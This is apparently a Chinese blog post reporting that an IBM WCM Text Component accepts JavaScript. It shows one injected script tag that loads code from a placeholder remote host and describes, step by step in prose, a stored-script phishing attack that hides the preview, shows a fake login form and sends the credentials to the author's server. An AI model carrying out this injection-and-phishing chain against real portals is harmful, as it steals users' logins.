`
pwosboy
  • 浏览: 84257 次
最近访客 更多访客>>
社区版块
存档分类
最新评论

WCM中的Component对JS脚本的支持也给自己带来了危险。

阅读更多
在测试过程中发现了一个问题,在Text Component中允许添加javascript代码段。感觉这是一个漏洞所在,自己试了试,居然可以填写跨域请求JS脚本的JS声明,例如<script language=javascript src=http://xxx.yyy.zzz/dd.js />于是利用这个特性编写一个攻击程序。
程序大体是这样的:将一段javascript代码放在服务器A,并且在服务器A运行一段JSP代码。编写一个Content和Presentation Template(简称PT),在PT引用事先写好的Text Component。当点击预览的时候,放在A服务器的代码被下载的本地中并且顺利运行,该JS的主要内容是1、将真正的要预览的内容隐藏起来。2、显示一个登录界面。(这点是利用了WCM本身一个问题,因为有的时候在预览内容的时候,可能被踢出系统,要求重新登录)。3、该登录界面是一个钓鱼程序,表面上是Portal的登录界面,实际上表单提交的内容是传给了服务器A的JSP中。4、JSP处理完毕后,发送一个sendRedirect请求。5、在页面提交前,往cookie中添加标记表示已经crack过了,JS通过判断document.cookie中的内容,来决定是显示crack的登录界面还是显示真正的预览页面。
该漏洞是一个小的安全问题。首先可以这么做的用户是一小部分人。但是这个安全问题又确实是个问题,这种crack的隐蔽性比较高,不容易被发现。
在编写crack程序中,主要遇到的问题是javascript编写和调试,感觉非常低效,另外是关于Ajax的问题,以为是个简单的问题,但是还是遇到了不少困难,第一、怎样模仿form的提交。可能是因为我的表是js动态生成的, onsubmit事件无法完全控制表格的提交。
分享到:
评论

相关推荐

    trs wcm蒙文支持用户手册

    1. **蒙文支持**:TRS WCM提供了对蒙古语(蒙文)的全面支持,包括文字输入、显示和处理。这使得使用蒙文的用户能够流畅地创建、编辑和发布内容,满足蒙文网站的需求。 2. **竖排蒙文**:由于蒙古语的传统书写方式...

    wcm8.1工作流修改H5已验证完整版

    在IT行业中,Web内容管理系统(Web Content Management System,简称WCM)是用于创建、管理和发布数字内容的重要工具。本文将详细解析标题为“wcm8.1工作流修改H5已验证完整版”的主题,主要关注TRS WCM8.1系统中的...

    wcm 图片上传组件

    wcm使得非技术人员也能方便地更新和维护网站内容,降低了对专业编程技能的依赖。 2. **图片上传功能**:wcm图片上传组件的核心功能,允许用户在网页上选择本地图片并将其上传到服务器。这一过程通常包括文件选择、...

    trs wcm开发教程

    在TRS WCM中,开发者可以对文档进行编辑、删除、转发、发布等操作。这些操作可以帮助开发者快速管理网站内容,从而提高网站的整体性能和可维护性。 5. 发布管理 发布管理是TRS WCM的另一个核心功能之一。它涉及到...

    在WCM中创建基于Web2.0的内容发布

    同时,前端开发中,JavaScript库和框架(如jQuery、React或Vue.js)用于实现动态交互和用户体验优化。 工具方面,可以利用内容管理系统(CMS)如Drupal、Joomla或WordPress,它们提供了丰富的Web2.0插件和模块,...

    IBM Portlet中使用WCM快速指南

    ### IBM Portlet中使用WCM快速指南:详细解析与实践步骤 #### 引言 IBM Portlet中使用WCM(Web Content Management)快速指南旨在为用户提供一个清晰的流程,指导如何在IBM Lotus Workplace Web Content ...

    PORTAL WCM 学习教程

    WCM系统通常包括内容创作、审核、版本控制、权限管理以及与各种其他应用程序的集成等功能,使得非技术背景的人员也能轻松管理网站。 在这个“PORTAL WCM 学习教程”中,初学者将获得关于如何有效利用WCM系统的全面...

    TRS WCM内容协作平台

    TRS WCM内容协作平台是一款专为媒体行业设计的高级内容管理解决方案,它集成了协作、行业特性和开放性,旨在优化组织效率并提升核心竞争力。该平台的核心在于内容的采集、创建、加工、存储、分析、发布、反馈和协作...

    IBM WCM对Portal新闻站点的管理

    在IBM WCM中,创建呈现模板是一个高度定制的过程,开发者可以根据设计需求和用户体验原则,使用CSS、JavaScript等技术来实现丰富的交互效果。 ### 菜单组件设计 菜单组件是导航的关键,对于新闻站点尤其重要。良好...

    WCM 入门详细教程

    ### WCM 入门详细教程知识点 #### 一、引言 本文档旨在为初学者提供一份详尽的Web Content Management (WCM) 入门教程。WCM 是一种用于管理网站内容的强大工具,尤其在IBM WebSphere Portal V6.0版本中得到了显著...

    TRS WCM6.5开发资料

    它主要用于帮助企业管理和发布各类数字内容,包括网页、文档、图片等,支持多渠道、多语言的内容发布,同时提供了强大的内容审核、权限管理以及工作流功能。 在全面学习TRS WCM 6.5的过程中,你需要掌握以下几个...

    TRS WCM SOAP接口说明

    根据提供的文件信息,以下是关于“TRS WCM SOAP接口说明”的详细知识点: ### TRS WCM SOAP接口概述 TRS WCM (Web Content Management...开发者在实施过程中应当详细参考WCM产品的具体文档,并在必要时联系技术支持。

    wcm Infocenter

    这个英文版的 Infocenter 提供了关于 WCM 系统的详细文档、用户指南、操作手册以及技术支持资料,帮助用户理解和使用 WCM 系统进行高效的内容创作、管理和分发。 在深入了解 WCM Infocenter 之前,我们需要明确 Web...

    WCM中的内容存储库和索引

    为了管理和存储相关的框架、内容对象以及资源定义,Workplace Web Content Management 使用一个专用的存储库,通过外部数据库管理系统(DBMS)对该存储库进行维护和访问。Workplace Web Content Management 的默认...

    TRS WCM V65——1095文档采编发培训

    本培训旨在帮助用户全面了解并掌握TRS WCM V6.5(也适用于7.0版本)的主要功能与操作流程。通过本次培训,参与者能够熟悉文档采集、编审、预览和发布的基本步骤,并深入了解不同文档类型的特性及其管理方式。此外,...

    WCM 开发 管理

    ### WCM 开发与管理知识点解析 #### 一、WCM基本操作 ##### 1.1 启用WCM **任务内容概述**: - **编写portlet配置**: 该任务会自动创建IBM Workplace Web Content Management (WCM) 页面,并安装编写portlet和本地...

    WCM 最佳实践 V6.0

    这些实践来源于产品开发、支持以及客户实施过程中的经验积累,适用于V6.0.x版本的WCM系统。在阅读本文档之前,建议读者具备一定的Web内容管理基础知识。 #### 二、准备工作 **2.1 Do's** - **确保硬件资源充足:*...

    TRS WCM 5管理员培训教案

    总的来说,TRS WCM 5是一个功能全面、适应性强的Web内容管理解决方案,旨在帮助企业在信息化时代高效地管理和发布信息,提升企业的内部和外部沟通效率,同时也为构建知识共享和协同工作的平台提供了强有力的支持。...

    trs wcm模板制作PPT

    TRS WCM 模板制作 PPT ...TRS WCM 模板制作教程涵盖了 TRS WCM 概述、模板的作用、模板置标、WCM 内模板管理和模板编辑方法、Dreamweaver 模板编辑插件和模板制作方法等内容,为用户提供了系统的指导和支持。

Global site tag (gtag.js) - Google Analytics